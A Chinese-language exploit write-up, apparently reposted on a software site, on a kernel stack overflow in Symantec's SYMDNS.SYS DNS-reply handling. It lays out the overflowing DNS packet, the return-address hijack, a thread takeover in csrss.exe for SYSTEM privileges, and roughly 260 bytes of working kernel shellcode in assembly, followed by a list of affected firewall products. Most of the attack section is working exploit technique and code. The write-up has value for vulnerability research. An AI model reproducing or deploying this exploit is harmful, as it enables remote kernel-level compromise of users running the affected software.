数据库

本类阅读TOP10

·SQL语句导入导出大全
·SQL Server日期计算
·SQL语句导入导出大全
·SQL to Excel 的应用
·Oracle中password file的作用及说明
·MS SQLServer OLEDB分布式事务无法启动的一般解决方案
·sqlserver2000数据库置疑的解决方法
·一个比较实用的大数据量分页存储过程
·如何在正运行 SQL Server 7.0 的服务器之间传输登录和密码
·SQL中两台服务器间使用连接服务器

分类导航
VC语言Delphi
VB语言ASP
PerlJava
Script数据库
其他语言游戏开发
文件格式网站制作
软件工程.NET开发
SYMANTEC防火墙内核溢出漏洞利用之安全返回法

作者:未知 来源:月光软件站 加入时间:2005-2-28 月光软件站

作者:SoBeIt   来自:https://www.xfocus.net

这个漏洞发生在SYMDNS.SYS中,当处理DNS答复时,由于未检验总域名长度,导致可以输入一超长域名导致溢出,溢出发生在RING0、IRQL = 2(DISPATCH_LEVEL)、 进程PID为0(idle进程)的环境下。

    一个DNS报文格式如下:
    "\xEB\x0B"    //报文ID,可以随意设置,但在这个漏洞里是别有用途的,后面会说到
    "\x80\x00"    //报文FLAG,15位置1表示这是一个答复报文
    "\x00\x01"    //问题数量
    "\x00\x01"    //答复数量
    "\xXX\xXX"    //授权资源记录数,在这里不重要,随便设置
    "\xXX\xXX"    //格外信息资源记录数,在这里不重要,随便设置
    以上部分为DNS报文头
    "\xXX\xXX\x..."    //域名,格式为每个分段域名长度+域名内容,比如www.buaa.edu.cn就是
\x03\x77\x77\x77\x04\x62\x75\x61\x61\x03\x65\x64\x75\x02\x63\x6e\x00
      w   w   w       b   u   a   a       e   d   u       c   n
\x00表示到了末尾。处理的时候会把那长度记录数换成0x2e,就是".",就完成了处理。

    在SYMDNS.SYS中处理传入域名的函数位于SYMDNS.SYS基地址+0xa76处,这个函数在堆栈里分配了足够的空间(事实上,最后SHELLCODE的执行并不是在堆栈中执行,而是在非分页池中执行)。传入的域名有最大长度限制,不能超过0x40个字节,所以我每段SHELLCODE长度都是0x3f(63)个字节。在覆盖了532个字节后,覆盖了第二个调用的返回地址,至于为什么没覆盖第一个调用的返回地址我也不太清楚。这个漏洞有个特点,就是在堆栈中二次处理传入的域名,导致堆栈中SHELLCODE后半部分面目全非、惨不忍睹。但很幸运的是在我们覆盖的返回地址所在的esp+0xc处保存有我们整个DNS报文(包括DNS报文头)的地址,是一个在非分页池的地址,

74816d74 4c816c9b 816d002e 816c9e34
  |_____esp指向这                 |_______这个就是非分页池的地址

现在大家应该知道该干啥了吧?虽然在内核里没有固定的jmp [esp+0xc]、 call [esp+0xc]这样的地址,但我们可以变通一下,使用诸如pop/pop/pop/ret这样的指令组合,机器的控制权就交到我们手上了。不过这3条pop指令里最好不要带有pop ebp,不然会莫名其妙的返回到一个奇怪的地址。在strstr函数的最后有两个pop/pop/pop/ret的组合挺合适。现在明白开头那个报文ID的作用了吧?\xEB\x0B是一个直接跳转的机器指令,跳过一开始没用的DNS报文头和第一段SHELLCODE长度计数字节。FLASHSKY在会刊里说要跳过长度计数字节,但0x3f对应的指令是aas,对EAX进行ascii调整,所以在一般不影响EAX和标志的情况下可以把这个0x3f也算作SHELLCODE的一部分,可以省下不少字节^_^。

    现在当前环境是0号进程,要把进程地址空间切到其他进程就得先获得那个进程的EPROCESS地址。0号进程很特别,就是该进程基本不挂在所有进程的链表上,比如说ActiveProcessLinks、SessionProcessLinks、WorkingSetExpansionLinks,正常情况来说只能枚举线程的WaitListHead来枚举所有线程并判断进程,这样很麻烦而已代码很长,但天无绝人之路,在KPCR+0x55c(+55c struct _KTHREAD *NpxThread)处保存有一个8号进程的一个线程ETHREAD地址,由ETHREAD+0x44处可以获得该线程所属EPROCESS的地址,而且8号进程是挂在除SessionProcessLinks之外的其它链表上的。下一步是切换进程地址空间,从目标进程EPROCESS+0x18处取出该进程页目录的物理地址并将当前CR3寄存器修改为该值既可(我一开始还修改了任务段KTSS中的CR3也为该值,结果发现这不是必须的)。然后在该进程内选择一个合适的线程来运行我们的用户态SHELLCODE,这个选择很重要,因为当前IRQL = 2,任何访问缺页的地址都将导致IRQL_NOT_LESS_OR_EQUAL蓝屏错误,因为缺页会导致页面I/O,最后会在对象上等待,这违背了不能在IRQL = 2等待对象的规则。按照一个标准的5调度状态模型的操作系统,当一个线程等待过久就会导致该线程的内核堆栈被换出内存,这样的线程我们是不能用的。所以我们需要判断ETHREAD+=0x11e(+11e    byte     KernelStackResident)是否为TRUE。这又关系到究竟该选择哪个系统进程,选择系统进程这样返回的SHELL是SYSTEM的权限,该进程必须是个活跃的进程,才能保证每时每刻都有未被换出内存的线程。winlogon.exe是肯定不行的,因为在大多情况下这是一个0工作集进程。在lsass.exe、smss.exe、csrss.exe这3个进程里我最后选择了csrss.exe,因为WIN32的子系统无论怎样都应该闲不住吧:),事实也证明选择这个进程基本都可以找到合适线程。枚举一个进程的线程可以在EPROCESS+0x50处取链表头,该链表链住了该进程的所有线程,链表位置在ETHREAD+0x1a4处:
struct _EPROCESS (sizeof=648)
+000 struct _KPROCESS Pcb
+050 struct _LIST_ENTRY ThreadListHead
+050 struct _LIST_ENTRY *Flink
+054 struct _LIST_ENTRY *Blink

struct _ETHREAD (sizeof=584)
+000 struct _KTHREAD Tcb
+1a4 struct _LIST_ENTRY ThreadListEntry
+1a4 struct _LIST_ENTRY *Flink
+1a8 struct _LIST_ENTRY *Blink
或者EPROCESS+0x270处取链表头,链表位置在ETHREAD+0x240处:
struct _EPROCESS (sizeof=648)
+270 struct _LIST_ENTRY ThreadListHead
+270 struct _LIST_ENTRY *Flink
+274 struct _LIST_ENTRY *Blink

struct _ETHREAD (sizeof=584)
+240 struct _LIST_ENTRY ThreadListEntry
+240 struct _LIST_ENTRY *Flink
+244 struct _LIST_ENTRY *Blink   

    剩下的就是在该进程地址空间内分配虚拟地址,锁定,并拷贝SHELLCODE过去,依次调用API为:ZwOpenProcess(这里要注意,如果没改变CR3的话这个调用会导致蓝屏,因为地址空间不符)->ZwAllocateVirtualMemory->ZwLockVirtualMemory->ZwWriteVirtualMemory,为了通用性我用mov eax, API NUMBER; int 2e这样的底层接口来调用API。在调用ZwWriteVirtualMemory之前我们得先修改该线程下次要执行的EIP,它是保存在KTRAP_FRAME+0x68处,把它修改为我们分配的地址。KTRAP_FRAME在线程堆栈底-x29c的地方,ETHREAD+0x128直接指向该地址。记得将原来的EIP保存在我们的用户态SHELLCODE中,类似push 0x12345678; ret这样的格式,代码就会返回12345678的地址,所以在内存中就是\x68\x78\x56\x34\x12\xc3,覆盖那个12345678就行了,在执行完我们的功能代码后线程会恢复正常执行。

    最后一段是一些固定的针对该漏洞的特征返回,恢复一些寄存器值,把ESP指向返回地址并让EBP恢复正常。这里我跳过了所有剩下的在SYMDNS.SYS的调用,因为那样会从堆栈中取值,而堆栈值很多都被我们改了,所以我直接返回到tcpip!UDPDeliver处的调用,返回这里有个好处,就是它完全不管你处理了什么、怎么处理,它只管检测返回值,很符合我们的要求,呵呵。

    这个SHELLCODE大概只有3/4的成功率,因为在有些情况下我们的DNS报文的地址不附加在esp+0xc处,还有有时会碰到进程所有线程都被换出了内存,还有一定的小概率会发生NDIS死锁-_-有时候RP爆发时一天都没啥问题,有时虚拟机狂蓝屏。。。所以我的利用方法还不很成熟,还希望大家一起来讨论完善。有关内核溢出里最大的问题估计就是缺页的问题了,由于IRQL = 2下不能换页,所以有些情况下很可能有些关键的地方访问不了。一些变通的方法可以使用诸如work item,这可以在IRQL = 2下调用,然后由系统工作者线程来替我们完成工作。这都是些改进设想。搞定了安全返回的方法,现在正在KO非安全返回,估计也不是很难,但就是估计SHELLCODE会大很多。
   
    峰会上由于FLASHSKY大牛不肯透露源代码,所以只好自己动手,丰衣足食了。这段时间由于得复习补考(上学期一不小心挂了4门#_#),所以拖了这么久。其实代码很早就写好了,就是懒得写这篇文档。今早终于下定决心花了一上午完成了这篇文档,估计难免有什么错误,望大家指出。   

    SHELLCODE由内核SHELLCODE和用户SHELLCODE组成,内核SHELLCODE负责返回并执行用户SHELLCODE,用户SHELLCODE则是普通的功能,注意得加入穿防火墙的代码就行。下面是内核SHELLCODE代码,转成机器码只有260多个字节,基本不算太大:):
   
__declspec(naked) JustTest()
{   
    __asm
    {
        call go1
go1:
        pop eax
        push eax
        mov ebx, 0xffdff55c
        mov ebx, dword ptr [ebx]
        mov ebx, dword ptr [ebx+0x44]

        push 0x73727363
FindProcess:
        mov edi, esp
        lea esi, dword ptr [ebx+0x1fc]
        push 0x4
        pop ecx
        repe cmpsb
        jecxz go2
        mov ebx, dword ptr [ebx+0xa0]
        sub ebx, 0xa0
        jmp FindProcess
go2:       
        pop edx
        mov edx, dword ptr [ebx+0x50]
FindThread:
        movzx ecx, byte ptr [edx-0x86]
        dec ecx
        jecxz go3
        mov edx, dword ptr [edx]
        jmp FindThread
go3:
        mov eax, dword ptr [ebx+0x18]
        mov ebp, esp
        sub esp, 0x40
        push edx
        mov cr3, eax

        push 0x10
        pop ecx
        xor eax, eax
        lea edi, dword ptr [ebp-0x40]
ZeroStack:
        stosd
        loop ZeroStack
        mov byte ptr [ebp-0x38], 0x18
        lea edi, dword ptr [edx+0x3c]
        push edi
        lea edi, dword ptr [ebp-0x38]
        push edi
        lea edi, dword ptr [ebp-0x8]
        push 0x1f0fff
        push edi

        mov al, 0x6a
        lea edx, dword ptr [esp]
        int 0x2e
        add esp, 0x10
        test eax, eax
        jnz Failed

        mov byte ptr [ebp-0x3], 0x2
        push 0x40
        push 0x1000
        lea edi, dword ptr [ebp-0x4]
        push edi
        push eax
        lea edi, dword ptr [ebp-0xc]
        push edi
        push dword ptr [ebp-0x8]

        mov al, 0x10
        lea edx, dword ptr [esp]
        int 0x2e
        add esp, 0x18
        test eax, eax
        jnz Failed

        push 0x2
        lea ebx, dword ptr [ebp-0x4]
        push ebx
        lea ebx, dword ptr [ebp-0xc]
        push ebx
        push dword ptr [ebp-0x8]

        mov al, 0x59
        lea edx, dword ptr [esp]
        int 0x2e
        add esp, 0x10
        test eax, eax
        jnz Failed

       mov edi, dword ptr [ebp]
        pop edx
        mov edx, dword ptr [edx-0x7c]
        push dword ptr [edx+0x68]
        pop dword ptr [edi+0x210]
        push dword ptr [ebp-0xc]
        pop dword ptr [edx+0x68]
        add edi, 0x11c

        push eax
        push 0x120
        push edi
        push dword ptr [ebp-0xc]
        push dword ptr [ebp-0x8]
       
        mov al, 0xf0
        lea edx, dword ptr [esp]
        int 0x2e
        add esp, 0x14

Failed:
        add esp, 0xec
        xor eax, eax
        mov esi, dword ptr [esp+0x38]
        mov ebp,esp
        add ebp,0x88
        ret 0x2c
    }
}

PS:存在该漏洞的SYMANTEC产品有:
*    - Symantec Norton Internet Security 2002
*    - Symantec Norton Internet Security 2003
*    - Symantec Norton Internet Security 2004
*    - Symantec Norton Internet Security Professional 2002
*    - Symantec Norton Internet Security Professional 2003
*    - Symantec Norton Internet Security Professional 2004
*    - Symantec Norton Personal Firewall 2002
*    - Symantec Norton Personal Firewall 2003
*    - Symantec Norton Personal Firewall 2004
*    - Symantec Client Firewall 5.01, 5.1.1
*    - Symantec Client Security 1.0, 1.1, 2.0(SCF 7.1)
*    - Symantec Norton AntiSpam 2004

该代码在windows2000 Pro build 2195 sp4的虚拟机上测试通过,WINXP原理一样。




相关文章

相关软件